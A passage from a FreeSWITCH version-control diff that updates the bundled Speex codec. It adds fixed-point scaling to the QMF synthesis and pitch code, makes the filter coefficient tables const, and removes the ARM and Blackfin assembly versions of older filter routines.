+         y0 = ADD32(y0,MULT16_16(a0, x10-x20));
+         y1 = ADD32(y1,MULT16_16(a1, x10+x20));
+         y2 = ADD32(y2,MULT16_16(a0, x11-x21));
+         y3 = ADD32(y3,MULT16_16(a1, x11+x21));
+#endif
       }
-      y[i] = y0;
-      y[i+1] = y1;
-      y[i+2] = y2;
-      y[i+3] = y3;
+#ifdef FIXED_POINT
+      y[2*i] = EXTRACT16(SATURATE32(PSHR32(y0,15),32767));
+      y[2*i+1] = EXTRACT16(SATURATE32(PSHR32(y1,15),32767));
+      y[2*i+2] = EXTRACT16(SATURATE32(PSHR32(y2,15),32767));
+      y[2*i+3] = EXTRACT16(SATURATE32(PSHR32(y3,15),32767));
+#else
+      /* Normalize up explicitly if we're in float */
+      y[2*i] = 2.f*y0;
+      y[2*i+1] = 2.f*y1;
+      y[2*i+2] = 2.f*y2;
+      y[2*i+3] = 2.f*y3;
+#endif
    }
 
-   for (i = 0; i < M - 1; i += 2)
-      mem[i+1] = xx[i];
+   for (i = 0; i < M2; i++)
+      mem1[2*i+1] = xx1[i];
+   for (i = 0; i < M2; i++)
+      mem2[2*i+1] = xx2[i];
 }
 
 #ifdef FIXED_POINT
 #if 0
-spx_word16_t shift_filt[3][7] = {{-33,    1043,   -4551,   19959,   19959,   -4551,    1043},
+const spx_word16_t shift_filt[3][7] = {{-33,    1043,   -4551,   19959,   19959,   -4551,    1043},
                                  {-98,    1133,   -4425,   29179,    8895,   -2328,     444},
                                  {444,   -2328,    8895,   29179,   -4425,    1133,     -98}};
 #else
-spx_word16_t shift_filt[3][7] = {{-390,    1540,   -4993,   20123,   20123,   -4993,    1540},
+const spx_word16_t shift_filt[3][7] = {{-390,    1540,   -4993,   20123,   20123,   -4993,    1540},
                                 {-1064,    2817,   -6694,   31589,    6837,    -990,    -209},
                                  {-209,    -990,    6837,   31589,   -6694,    2817,   -1064}};
 #endif
 #else
 #if 0
-float shift_filt[3][7] = {{-9.9369e-04, 3.1831e-02, -1.3889e-01, 6.0910e-01, 6.0910e-01, -1.3889e-01, 3.1831e-02},
+const float shift_filt[3][7] = {{-9.9369e-04, 3.1831e-02, -1.3889e-01, 6.0910e-01, 6.0910e-01, -1.3889e-01, 3.1831e-02},
                           {-0.0029937, 0.0345613, -0.1350474, 0.8904793, 0.2714479, -0.0710304, 0.0135403},
                           {0.0135403, -0.0710304, 0.2714479, 0.8904793, -0.1350474, 0.0345613,  -0.0029937}};
 #else
-float shift_filt[3][7] = {{-0.011915, 0.046995, -0.152373, 0.614108, 0.614108, -0.152373, 0.046995},
-                          {-0.0324855, 0.0859768, -0.2042986, 0.9640297, 0.2086420, -0.0302054, -0.0063646},
-                          {-0.0063646, -0.0302054, 0.2086420, 0.9640297, -0.2042986, 0.0859768, -0.0324855}};
+const float shift_filt[3][7] = {{-0.011915f, 0.046995f, -0.152373f, 0.614108f, 0.614108f, -0.152373f, 0.046995f},
+                          {-0.0324855f, 0.0859768f, -0.2042986f, 0.9640297f, 0.2086420f, -0.0302054f, -0.0063646f},
+                          {-0.0063646f, -0.0302054f, 0.2086420f, 0.9640297f, -0.2042986f, 0.0859768f, -0.0324855f}};
 #endif
 #endif
 
@@ -784,7 +675,9 @@
    spx_word16_t g1, g2;
    spx_word16_t ngain;
    spx_word16_t gg1, gg2;
-
+#ifdef FIXED_POINT
+   int scaledown=0;
+#endif
 #if 0 /* Set to 1 to enable full pitch search */
    int nol_pitch[6];
    spx_word16_t nol_pitch_coef[6];
@@ -819,6 +712,23 @@
    else
       interp_pitch(exc, iexc+nsf, -corr_pitch, 80);
 
+#ifdef FIXED_POINT
+   for (i=0;i<nsf;i++)
+   {
+      if (ABS16(exc[i])>16383)
+      {
+         scaledown = 1;
+         break;
+      }
+   }
+   if (scaledown)
+   {
+      for (i=0;i<nsf;i++)
+         exc[i] = SHR16(exc[i],1);
+      for (i=0;i<2*nsf;i++)
+         iexc[i] = SHR16(iexc[i],1);
+   }
+#endif
    /*interp_pitch(exc, iexc+2*nsf, 2*corr_pitch, 80);*/
    
    /*printf ("%d %d %f\n", pitch, corr_pitch, max_corr*ener_1);*/
@@ -898,5 +808,14 @@
    
    for (i=0;i<nsf;i++)
       new_exc[i] = MULT16_16_Q14(ngain, new_exc[i]);
+#ifdef FIXED_POINT
+   if (scaledown)
+   {
+      for (i=0;i<nsf;i++)
+         exc[i] = SHL16(exc[i],1);
+      for (i=0;i<nsf;i++)
+         new_exc[i] = SHL16(SATURATE16(new_exc[i],16383),1);
+   }
+#endif
 }
 

Modified: freeswitch/branches/seven/libs/speex/libspeex/filters.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/filters.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/filters.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,7 +35,7 @@
 #ifndef FILTERS_H
 #define FILTERS_H
 
-#include "misc.h"
+#include "arch.h"
 
 spx_word16_t compute_rms(const spx_sig_t *x, int len);
 spx_word16_t compute_rms16(const spx_word16_t *x, int len);
@@ -58,27 +58,21 @@
 void highpass(const spx_word16_t *x, spx_word16_t *y, int len, int filtID, spx_mem_t *mem);
 
 
-void qmf_decomp(const spx_word16_t *xx, const spx_word16_t *aa, spx_sig_t *, spx_sig_t *y2, int N, int M, spx_word16_t *mem, char *stack);
-void fir_mem_up(const spx_sig_t *x, const spx_word16_t *a, spx_sig_t *y, int N, int M, spx_word32_t *mem, char *stack);
+void qmf_decomp(const spx_word16_t *xx, const spx_word16_t *aa, spx_word16_t *, spx_word16_t *y2, int N, int M, spx_word16_t *mem, char *stack);
+void qmf_synth(const spx_word16_t *x1, const spx_word16_t *x2, const spx_word16_t *a, spx_word16_t *y, int N, int M, spx_word16_t *mem1, spx_word16_t *mem2, char *stack);
 
-
-void filter_mem2(const spx_sig_t *x, const spx_coef_t *num, const spx_coef_t *den, spx_sig_t *y, int N, int ord, spx_mem_t *mem);
-void fir_mem2(const spx_sig_t *x, const spx_coef_t *num, spx_sig_t *y, int N, int ord, spx_mem_t *mem);
-void iir_mem2(const spx_sig_t *x, const spx_coef_t *den, spx_sig_t *y, int N, int ord, spx_mem_t *mem);
-
 void filter_mem16(const spx_word16_t *x, const spx_coef_t *num, const spx_coef_t *den, spx_word16_t *y, int N, int ord, spx_mem_t *mem, char *stack);
 void iir_mem16(const spx_word16_t *x, const spx_coef_t *den, spx_word16_t *y, int N, int ord, spx_mem_t *mem, char *stack);
 void fir_mem16(const spx_word16_t *x, const spx_coef_t *num, spx_word16_t *y, int N, int ord, spx_mem_t *mem, char *stack);
 
 /* Apply bandwidth expansion on LPC coef */
 void bw_lpc(spx_word16_t , const spx_coef_t *lpc_in, spx_coef_t *lpc_out, int order);
+void sanitize_values32(spx_word32_t *vec, spx_word32_t min_val, spx_word32_t max_val, int len);
 
 
+void syn_percep_zero16(const spx_word16_t *xx, const spx_coef_t *ak, const spx_coef_t *awk1, const spx_coef_t *awk2, spx_word16_t *y, int N, int ord, char *stack);
+void residue_percep_zero16(const spx_word16_t *xx, const spx_coef_t *ak, const spx_coef_t *awk1, const spx_coef_t *awk2, spx_word16_t *y, int N, int ord, char *stack);
 
-void syn_percep_zero(const spx_sig_t *x, const spx_coef_t *ak, const spx_coef_t *awk1, const spx_coef_t *awk2, spx_sig_t *y, int N, int ord, char *stack);
-
-void residue_percep_zero(const spx_sig_t *xx, const spx_coef_t *ak, const spx_coef_t *awk1, const spx_coef_t *awk2, spx_sig_t *y, int N, int ord, char *stack);
-
 void compute_impulse_response(const spx_coef_t *ak, const spx_coef_t *awk1, const spx_coef_t *awk2, spx_word16_t *y, int N, int ord, char *stack);
 
 void multicomb(

Modified: freeswitch/branches/seven/libs/speex/libspeex/filters_arm4.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/filters_arm4.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/filters_arm4.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,9 +33,8 @@
 */
 
 #define OVERRIDE_NORMALIZE16
-int normalize16(const spx_sig_t *x, spx_word16_t *y, int max_scale, int len)
+int normalize16(const spx_sig_t *x, spx_word16_t *y, spx_sig_t max_scale, int len)
 {
-   int i;
    spx_sig_t max_val=1;
    int sig_shift;
    int dead1, dead2, dead3, dead4, dead5, dead6;
@@ -87,7 +86,7 @@
          "\tmov %5, %5, asr %3 \n"
          "\tstrh %5, [%1], #2 \n"
 
-         "\tbge .normalize16loop%=\n"
+         "\tbgt .normalize16loop%=\n"
    : "=r" (dead1), "=r" (dead2), "=r" (dead3), "=r" (dead4),
    "=r" (dead5), "=r" (dead6)
    : "0" (x), "1" (y), "2" (len>>2), "3" (sig_shift)
@@ -95,295 +94,3 @@
    return sig_shift;
 }
 
-#define OVERRIDE_FILTER_MEM2
-void filter_mem2(const spx_sig_t *x, const spx_coef_t *num, const spx_coef_t *den, spx_sig_t *y, int N, int ord, spx_mem_t *mem)
-{
-   int i,j;
-   spx_sig_t xi,yi,nyi;
-
-   for (i=0;i<ord;i++)
-      mem[i] = SHR32(mem[i],1);   
-   for (i=0;i<N;i++)
-   {
-      int deadm, deadn, deadd, deadidx, x1, y1, dead1, dead2, dead3, dead4, dead5, dead6;
-      xi=SATURATE(x[i],805306368);
-      yi = SATURATE(ADD32(xi, SHL(mem[0],2)),805306368);
-      nyi = -yi;
-      y[i] = yi;
-      __asm__ __volatile__ (
-            "\tldrsh %6, [%1], #2\n"
-            "\tsmull %8, %9, %4, %6\n"
-#ifdef SHORTCUTS
-            "\tldrsh %6, [%2], #2\n"
-            "\tldr %10, [%0, #4]\n"
-            "\tmov %8, %8, lsr #15\n"
-            "\tsmull %7, %11, %5, %6\n"
-            "\tldrsh %6, [%1], #2\n"
-            "\tadd %8, %8, %9, lsl #17\n"
-            "\tadd %10, %10, %8\n"
-            "\tsmull %8, %9, %4, %6\n"
-            "\tadd %10, %10, %7, lsr #15\n"
-            "\tadd %10, %10, %11, lsl #17\n"
-            "\tstr %10, [%0], #4 \n"
-
-            "\tldrsh %6, [%2], #2\n"
-            "\tldr %10, [%0, #4]\n"
-            "\tmov %8, %8, lsr #15\n"
-            "\tsmull %7, %11, %5, %6\n"
-            "\tldrsh %6, [%1], #2\n"
-            "\tadd %8, %8, %9, lsl #17\n"
-            "\tadd %10, %10, %8\n"
-            "\tsmull %8, %9, %4, %6\n"
-            "\tadd %10, %10, %7, lsr #15\n"
-            "\tadd %10, %10, %11, lsl #17\n"
-            "\tstr %10, [%0], #4 \n"
-
-            "\tldrsh %6, [%2], #2\n"
-            "\tldr %10, [%0, #4]\n"
-            "\tmov %8, %8, lsr #15\n"
-            "\tsmull %7, %11, %5, %6\n"
-            "\tldrsh %6, [%1], #2\n"
-            "\tadd %8, %8, %9, lsl #17\n"
-            "\tadd %10, %10, %8\n"
-            "\tsmull %8, %9, %4, %6\n"
-            "\tadd %10, %10, %7, lsr #15\n"
-            "\tadd %10, %10, %11, lsl #17\n"
-            "\tstr %10, [%0], #4 \n"
-
-            "\tldrsh %6, [%2], #2\n"
-            "\tldr %10, [%0, #4]\n"
-            "\tmov %8, %8, lsr #15\n"
-            "\tsmull %7, %11, %5, %6\n"
-            "\tldrsh %6, [%1], #2\n"
-            "\tadd %8, %8, %9, lsl #17\n"
-            "\tadd %10, %10, %8\n"
-            "\tsmull %8, %9, %4, %6\n"
-            "\tadd %10, %10, %7, lsr #15\n"
-            "\tadd %10, %10, %11, lsl #17\n"
-            "\tstr %10, [%0], #4 \n"
-
-            "\tldrsh %6, [%2], #2\n"
-            "\tldr %10, [%0, #4]\n"
-            "\tmov %8, %8, lsr #15\n"
-            "\tsmull %7, %11, %5, %6\n"
-            "\tldrsh %6, [%1], #2\n"
-            "\tadd %8, %8, %9, lsl #17\n"
-            "\tadd %10, %10, %8\n"
-            "\tsmull %8, %9, %4, %6\n"
-            "\tadd %10, %10, %7, lsr #15\n"
-            "\tadd %10, %10, %11, lsl #17\n"
-            "\tstr %10, [%0], #4 \n"
-
-            "\tldrsh %6, [%2], #2\n"
-            "\tldr %10, [%0, #4]\n"
-            "\tmov %8, %8, lsr #15\n"
-            "\tsmull %7, %11, %5, %6\n"
-            "\tldrsh %6, [%1], #2\n"
-            "\tadd %8, %8, %9, lsl #17\n"
-            "\tadd %10, %10, %8\n"
-            "\tsmull %8, %9, %4, %6\n"
-            "\tadd %10, %10, %7, lsr #15\n"
-            "\tadd %10, %10, %11, lsl #17\n"
-            "\tstr %10, [%0], #4 \n"
-
-            "\tldrsh %6, [%2], #2\n"
-            "\tldr %10, [%0, #4]\n"
-            "\tmov %8, %8, lsr #15\n"
-            "\tsmull %7, %11, %5, %6\n"
-            "\tldrsh %6, [%1], #2\n"
-            "\tadd %8, %8, %9, lsl #17\n"
-            "\tadd %10, %10, %8\n"
-            "\tsmull %8, %9, %4, %6\n"
-            "\tadd %10, %10, %7, lsr #15\n"
-            "\tadd %10, %10, %11, lsl #17\n"
-            "\tstr %10, [%0], #4 \n"
-
-            "\tldrsh %6, [%2], #2\n"
-            "\tldr %10, [%0, #4]\n"
-            "\tmov %8, %8, lsr #15\n"
-            "\tsmull %7, %11, %5, %6\n"
-            "\tldrsh %6, [%1], #2\n"
-            "\tadd %8, %8, %9, lsl #17\n"
-            "\tadd %10, %10, %8\n"
-            "\tsmull %8, %9, %4, %6\n"
-            "\tadd %10, %10, %7, lsr #15\n"
-            "\tadd %10, %10, %11, lsl #17\n"
-            "\tstr %10, [%0], #4 \n"
-
-            "\tldrsh %6, [%2], #2\n"
-            "\tldr %10, [%0, #4]\n"
-            "\tmov %8, %8, lsr #15\n"
-            "\tsmull %7, %11, %5, %6\n"
-            "\tldrsh %6, [%1], #2\n"
-            "\tadd %8, %8, %9, lsl #17\n"
-            "\tadd %10, %10, %8\n"
-            "\tsmull %8, %9, %4, %6\n"
-            "\tadd %10, %10, %7, lsr #15\n"
-            "\tadd %10, %10, %11, lsl #17\n"
-            "\tstr %10, [%0], #4 \n"
-
-
-#else
-            ".filterloop%=: \n"
-            "\tldrsh %6, [%2], #2\n"
-            "\tldr %10, [%0, #4]\n"
-            "\tmov %8, %8, lsr #15\n"
-            "\tsmull %7, %11, %5, %6\n"
-            "\tadd %8, %8, %9, lsl #17\n"
-            "\tldrsh %6, [%1], #2\n"
-            "\tadd %10, %10, %8\n"
-            "\tsmull %8, %9, %4, %6\n"
-            "\tadd %10, %10, %7, lsr #15\n"
-            "\tsubs %3, %3, #1\n"
-            "\tadd %10, %10, %11, lsl #17\n"
-            "\tstr %10, [%0], #4 \n"
-            "\t bne .filterloop%=\n"
-#endif
-            "\tmov %8, %8, lsr #15\n"
-            "\tadd %10, %8, %9, lsl #17\n"
-            "\tldrsh %6, [%2], #2\n"
-            "\tsmull %8, %9, %5, %6\n"
-            "\tadd %10, %10, %8, lsr #15\n"
-            "\tadd %10, %10, %9, lsl #17\n"
-            "\tstr %10, [%0], #4 \n"
-
-         : "=r" (deadm), "=r" (deadn), "=r" (deadd), "=r" (deadidx),
-      "=r" (xi), "=r" (nyi), "=r" (dead1), "=r" (dead2),
-      "=r" (dead3), "=r" (dead4), "=r" (dead5), "=r" (dead6)
-         : "0" (mem), "1" (num), "2" (den), "3" (ord-1), "4" (xi), "5" (nyi)
-         : "cc", "memory");
-   
-   }
-   for (i=0;i<ord;i++)
-      mem[i] = SHL32(mem[i],1);   
-}
-
-#define OVERRIDE_IIR_MEM2
-void iir_mem2(const spx_sig_t *x, const spx_coef_t *den, spx_sig_t *y, int N, int ord, spx_mem_t *mem)
-{
-   int i,j;
-   spx_sig_t xi,yi,nyi;
-
-   for (i=0;i<ord;i++)
-      mem[i] = SHR32(mem[i],1);   
-
-   for (i=0;i<N;i++)
-   {
-      int deadm, deadd, deadidx, dead1, dead2, dead3, dead4, dead5, dead6;
-      xi=SATURATE(x[i],805306368);
-      yi = SATURATE(ADD32(xi, SHL(mem[0],2)),805306368);
-      nyi = -yi;
-      y[i] = yi;
-      __asm__ __volatile__ (
-            "\tldrsh %4, [%1], #2\n"
-            "\tsmull %5, %6, %3, %4\n"
-
-#ifdef SHORTCUTS
-                        
-            "\tldrsh %4, [%1], #2\n"
-            "\tmov %5, %5, lsr #15\n"
-            "\tldr %7, [%0, #4]\n"
-            "\tadd %8, %5, %6, lsl #17\n"
-            "\tsmull %5, %6, %3, %4\n"
-            "\tadd %7, %7, %8\n"
-            "\tstr %7, [%0], #4 \n"
-
-                 
-            "\tldrsh %4, [%1], #2\n"
-            "\tmov %5, %5, lsr #15\n"
-            "\tldr %9, [%0, #4]\n"
-            "\tadd %8, %5, %6, lsl #17\n"
-            "\tsmull %5, %6, %3, %4\n"
-            "\tadd %9, %9, %8\n"
-            "\tstr %9, [%0], #4 \n"
-
-            "\tldrsh %4, [%1], #2\n"
-            "\tmov %5, %5, lsr #15\n"
-            "\tldr %7, [%0, #4]\n"
-            "\tadd %8, %5, %6, lsl #17\n"
-            "\tsmull %5, %6, %3, %4\n"
-            "\tadd %7, %7, %8\n"
-            "\tstr %7, [%0], #4 \n"
-
-            
-            "\tldrsh %4, [%1], #2\n"
-            "\tmov %5, %5, lsr #15\n"
-            "\tldr %9, [%0, #4]\n"
-            "\tadd %8, %5, %6, lsl #17\n"
-            "\tsmull %5, %6, %3, %4\n"
-            "\tadd %9, %9, %8\n"
-            "\tstr %9, [%0], #4 \n"
-
-            "\tldrsh %4, [%1], #2\n"
-            "\tmov %5, %5, lsr #15\n"
-            "\tldr %7, [%0, #4]\n"
-            "\tadd %8, %5, %6, lsl #17\n"
-            "\tsmull %5, %6, %3, %4\n"
-            "\tadd %7, %7, %8\n"
-            "\tstr %7, [%0], #4 \n"
-
-            
-            "\tldrsh %4, [%1], #2\n"
-            "\tmov %5, %5, lsr #15\n"
-            "\tldr %9, [%0, #4]\n"
-            "\tadd %8, %5, %6, lsl #17\n"
-            "\tsmull %5, %6, %3, %4\n"
-            "\tadd %9, %9, %8\n"
-            "\tstr %9, [%0], #4 \n"
-
-            "\tldrsh %4, [%1], #2\n"
-            "\tmov %5, %5, lsr #15\n"
-            "\tldr %7, [%0, #4]\n"
-            "\tadd %8, %5, %6, lsl #17\n"
-            "\tsmull %5, %6, %3, %4\n"
-            "\tadd %7, %7, %8\n"
-            "\tstr %7, [%0], #4 \n"
-
-            
-            "\tldrsh %4, [%1], #2\n"
-            "\tmov %5, %5, lsr #15\n"
-            "\tldr %9, [%0, #4]\n"
-            "\tadd %8, %5, %6, lsl #17\n"
-            "\tsmull %5, %6, %3, %4\n"
-            "\tadd %9, %9, %8\n"
-            "\tstr %9, [%0], #4 \n"
-
-            "\tldrsh %4, [%1], #2\n"
-            "\tmov %5, %5, lsr #15\n"
-            "\tldr %7, [%0, #4]\n"
-            "\tadd %8, %5, %6, lsl #17\n"
-            "\tsmull %5, %6, %3, %4\n"
-            "\tadd %7, %7, %8\n"
-            "\tstr %7, [%0], #4 \n"
-
-            
-            
-#else
-            ".iirloop%=: \n"
-            "\tldr %7, [%0, #4]\n"
-
-            "\tldrsh %4, [%1], #2\n"
-            "\tmov %5, %5, lsr #15\n"
-            "\tadd %8, %5, %6, lsl #17\n"
-            "\tsmull %5, %6, %3, %4\n"
-            "\tadd %7, %7, %8\n"
-            "\tstr %7, [%0], #4 \n"
-            "\tsubs %2, %2, #1\n"
-            "\t bne .iirloop%=\n"
-            
-#endif
-            "\tmov %5, %5, lsr #15\n"
-            "\tadd %7, %5, %6, lsl #17\n"
-            "\tstr %7, [%0], #4 \n"
-
-         : "=r" (deadm), "=r" (deadd), "=r" (deadidx), "=r" (nyi),
-      "=r" (dead1), "=r" (dead2), "=r" (dead3), "=r" (dead4),
-      "=r" (dead5), "=r" (dead6)
-         : "0" (mem), "1" (den), "2" (ord-1), "3" (nyi)
-         : "cc", "memory");
-   
-   }
-   for (i=0;i<ord;i++)
-      mem[i] = SHL32(mem[i],1);   
-
-}

Modified: freeswitch/branches/seven/libs/speex/libspeex/filters_bfin.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/filters_bfin.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/filters_bfin.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -79,145 +79,8 @@
    return sig_shift;
 }
 
-#define OVERRIDE_FILTER_MEM2
-void filter_mem2(const spx_sig_t *_x, const spx_coef_t *num, const spx_coef_t *den, spx_sig_t *_y, int N, int ord, spx_mem_t *mem)
-{
-   spx_word32_t xy2[N+1];
-   spx_word32_t *xy = xy2+1;
-   spx_word32_t numden_a[2*ord+2];
-   spx_word16_t *numden = (spx_word16_t*) numden_a;
-   int i;
-   for (i=0;i<ord;i++)
-   {
-      numden[2*i] = num[i];
-      numden[2*i+1] = den[i];
-   }
-   __asm__ __volatile__
-   (
-   /* Register setup */
-   "R0 = %5;\n\t"      /*ord */
-   
-   "P0 = %3;\n\t"
-   "I0 = P0;\n\t"
-   "B0 = P0;\n\t" /* numden */
-   "L0 = 0;\n\t"
-      
-   "P2 = %0;\n\t" /* Fused xy */
-   "I2 = P2;\n\t"
-   "L2 = 0;\n\t"
-   
-   "P4 = %6;\n\t" /* mem */
-   "P0 = %1;\n\t" /* _x */
-   "P1 = %2;\n\t" /* _y */
-   
-   /* First sample */
-   "R1 = [P4++];\n\t"
-   "R1 <<= 1;\n\t" /* shift mem */
-   "R2 = [P0++];\n\t" /* load x[0] */
-   "R1 = R1 + R2;\n\t"
-   "[P1++] = R1;\n\t" /* store y[0] */
-   "R1 <<= 2;\n\t"
-   "R2 <<= 2;\n\t"
-   "R2 = PACK(R1.H, R2.H);\n\t" /* pack x16 and y16 */
-   "[P2] = R2;\n\t"
-               
-   /* Samples 1 to ord-1 (using memory) */
-   "R0 += -1;\n\t"
-   "R3 = 0;\n\t"
-   "LC0 = R0;\n\t"
-   "LOOP filter_start%= LC0;\n\t"
-   "LOOP_BEGIN filter_start%=;\n\t"
-      "R3 += 1;\n\t"
-      "LC1 = R3;\n\t"
-      
-      "R1 = [P4++];\n\t"
-      "A1 = R1;\n\t"
-      "A0 = 0;\n\t"
-      "I0 = B0;\n\t"
-      "I2 = P2;\n\t"
-      "P2 += 4;\n\t"
-      "R4 = [I0++] || R5 = [I2--];\n\t"
-      "LOOP filter_start_inner%= LC1;\n\t"
-      "LOOP_BEGIN filter_start_inner%=;\n\t"
-         "A1 -= R4.H*R5.H, A0 += R4.L*R5.L (IS) || R4 = [I0++] || R5 = [I2--];\n\t"
-      "LOOP_END filter_start_inner%=;\n\t"
-      "A0 += A1;\n\t"
-      "R4 = A0;\n\t"
-      "R4 <<= 1;\n\t" /* shift mem */
-      "R2 = [P0++];\n\t" /* load x */
-      "R4 = R4 + R2;\n\t"
-      "[P1++] = R4;\n\t" /* store y */
-      "R4 <<= 2;\n\t"
-      "R2 <<= 2;\n\t"
-      "R2 = PACK(R4.H, R2.H);\n\t" /* pack x16 and y16 */
-      "[P2] = R2;\n\t"
 
-   "LOOP_END filter_start%=;\n\t"
 
-   /* Samples ord to N*/   
-   "R0 = %5;\n\t"
-   "R0 <<= 1;\n\t"
-   "I0 = B0;\n\t" /* numden */
-   "R0 <<= 1;\n\t"   
-   "L0 = R0;\n\t"
-   
-   "R0 = %5;\n\t" /* org */
-   "R2 = %4;\n\t" /* N */
-   "R2 = R2 - R0;\n\t"
-   "R4 = [I0++];\n\t" /* numden */
-   "LC0 = R2;\n\t"
-   "P3 = R0;\n\t"
-   "R0 <<= 2;\n\t"
-   "R0 += 8;\n\t"
-   "I2 = P2;\n\t"
-   "M0 = R0;\n\t"
-   "A1 = A0 = 0;\n\t"
-   "R5 = [I2--];\n\t" /* load xy */
-   "LOOP filter_mid%= LC0;\n\t"
-   "LOOP_BEGIN filter_mid%=;\n\t"
-      "LOOP filter_mid_inner%= LC1=P3;\n\t"
-      "LOOP_BEGIN filter_mid_inner%=;\n\t"
-         "A1 -= R4.H*R5.H, A0 += R4.L*R5.L (IS) || R4 = [I0++] || R5 = [I2--];\n\t"
-      "LOOP_END filter_mid_inner%=;\n\t"
-      "R0 = (A0 += A1) || I2 += M0;\n\t"
-      "R0 = R0 << 1 || R5 = [P0++];\n\t" /* load x */
-      "R0 = R0 + R5;\n\t"
-      "R0 = R0 << 2 || [P1++] = R0;\n\t" /* shift y | store y */
-      "R5 = R5 << 2;\n\t"
-      "R5 = PACK(R0.H, R5.H);\n\t"
-      "A1 = A0 = 0 || [I2--] = R5\n\t"
-      "LOOP_END filter_mid%=;\n\t"
-   "I2 += 4;\n\t"
-   "P2 = I2;\n\t"
-   /* Update memory */
-   "P4 = %6;\n\t"
-   "R0 = %5;\n\t"
-   "LC0 = R0;\n\t"
-   "P0 = B0;\n\t"
-   "A1 = A0 = 0;\n\t"
-   "LOOP mem_update%= LC0;\n\t"
-   "LOOP_BEGIN mem_update%=;\n\t"
-      "I2 = P2;\n\t"
-      "I0 = P0;\n\t"
-      "P0 += 4;\n\t"
-      "R0 = LC0;\n\t"
-      "LC1 = R0;\n\t"
-      "R5 = [I2--] || R4 = [I0++];\n\t"
-      "LOOP mem_accum%= LC1;\n\t"
-      "LOOP_BEGIN mem_accum%=;\n\t"
-         "A1 -= R4.H*R5.H, A0 += R4.L*R5.L (IS) || R4 = [I0++] || R5 = [I2--];\n\t"
-      "LOOP_END mem_accum%=;\n\t"
-      "R0 = (A0 += A1);\n\t"
-      "A1 = A0 = 0 || [P4++] = R0;\n\t"
-   "LOOP_END mem_update%=;\n\t"
-   "L0 = 0;\n\t"
-   : : "m" (xy), "m" (_x), "m" (_y), "m" (numden), "m" (N), "m" (ord), "m" (mem)
-   : "A0", "A1", "R0", "R1", "R2", "R3", "R4", "R5", "P0", "P1", "P2", "P3", "P4", "B0", "I0", "I2", "L0", "L2", "M0", "memory"
-   );
-
-}
-
-
 #define OVERRIDE_FILTER_MEM16
 void filter_mem16(const spx_word16_t *_x, const spx_coef_t *num, const spx_coef_t *den, spx_word16_t *_y, int N, int ord, spx_mem_t *mem, char *stack)
 {
@@ -363,130 +226,6 @@
 
 
 
-
-#define OVERRIDE_IIR_MEM2
-void iir_mem2(const spx_sig_t *_x, const spx_coef_t *den, spx_sig_t *_y, int N, int ord, spx_mem_t *mem)
-{
-   spx_word16_t y[N+2];
-   spx_word16_t *yy;
-   yy = y+2;
-   __asm__ __volatile__
-   (
-   /* Register setup */
-   "R0 = %5;\n\t"      /*ord */
-   
-   "P1 = %3;\n\t"
-   "I1 = P1;\n\t"
-   "B1 = P1;\n\t"
-   "L1 = 0;\n\t"
-   
-   "P3 = %0;\n\t"
-   "I3 = P3;\n\t"
-   "L3 = 0;\n\t"
-   
-   "P4 = %6;\n\t"
-   "P0 = %1;\n\t"
-   "P1 = %2;\n\t"
-   
-   /* First sample */
-   "R1 = [P4++];\n\t"
-   "R1 <<= 1;\n\t"
-   "R2 = [P0++];\n\t"
-   "R1 = R1 + R2;\n\t"
-   "[P1++] = R1;\n\t"
-   "R1 <<= 2;\n\t"
-   "W[P3] = R1.H;\n\t"
-   "R2 <<= 2;\n\t"
-
-   /* Samples 1 to ord-1 (using memory) */
-   "R0 += -1;\n\t"
-   "R3 = 0;\n\t"
-   "LC0 = R0;\n\t"
-   "LOOP filter_start%= LC0;\n\t"
-   "LOOP_BEGIN filter_start%=;\n\t"
-      "R3 += 1;\n\t"
-      "LC1 = R3;\n\t"
-      
-      "R1 = [P4++];\n\t"
-      "A1 = R1;\n\t"
-      "I1 = B1;\n\t"
-      "I3 = P3;\n\t"
-      "P3 += 2;\n\t"
-      "LOOP filter_start_inner%= LC1;\n\t"
-      "LOOP_BEGIN filter_start_inner%=;\n\t"
-         "R4.L = W[I1++];\n\t"
-         "R5.L = W[I3--];\n\t"
-         "A1 -= R4.L*R5.L (IS);\n\t"
-      "LOOP_END filter_start_inner%=;\n\t"
-   
-      "R1 = A1;\n\t"
-      "R1 <<= 1;\n\t"
-      "R2 = [P0++];\n\t"
-      "R1 = R1 + R2;\n\t"
-      "[P1++] = R1;\n\t"
-      "R1 <<= 2;\n\t"
-      "W[P3] = R1.H;\n\t"
-      "R2 <<= 2;\n\t"
-   "LOOP_END filter_start%=;\n\t"
-
-   /* Samples ord to N*/   
-   "R0 = %5;\n\t"
-   "R0 <<= 1;\n\t"
-   "I1 = B1;\n\t"
-   "L1 = R0;\n\t"
-   
-   "R0 = %5;\n\t"
-   "R2 = %4;\n\t"
-   "R2 = R2 - R0;\n\t"
-   "R4.L = W[I1++];\n\t"
-   "LC0 = R2;\n\t"
-   "LOOP filter_mid%= LC0;\n\t"
-   "LOOP_BEGIN filter_mid%=;\n\t"
-      "LC1 = R0;\n\t"
-      "A1 = 0;\n\t"
-      "I3 = P3;\n\t"
-      "P3 += 2;\n\t"
-      "R5.L = W[I3--];\n\t"
-      "LOOP filter_mid_inner%= LC1;\n\t"
-      "LOOP_BEGIN filter_mid_inner%=;\n\t"
-         "A1 -= R4.L*R5.L (IS) || R4.L = W[I1++] || R5.L = W[I3--];\n\t"
-      "LOOP_END filter_mid_inner%=;\n\t"
-      "R1 = A1;\n\t"
-      "R1 = R1 << 1 || R2 = [P0++];\n\t"
-      "R1 = R1 + R2;\n\t"
-      "R1 = R1 << 2 || [P1++] = R1;\n\t"
-      "W[P3] = R1.H;\n\t"
-   "LOOP_END filter_mid%=;\n\t"
-     
-   /* Update memory */
-   "P4 = %6;\n\t"
-   "R0 = %5;\n\t"
-   "LC0 = R0;\n\t"
-   "P1 = B1;\n\t"
-   "LOOP mem_update%= LC0;\n\t"
-   "LOOP_BEGIN mem_update%=;\n\t"
-      "A0 = 0;\n\t"
-      "I3 = P3;\n\t"
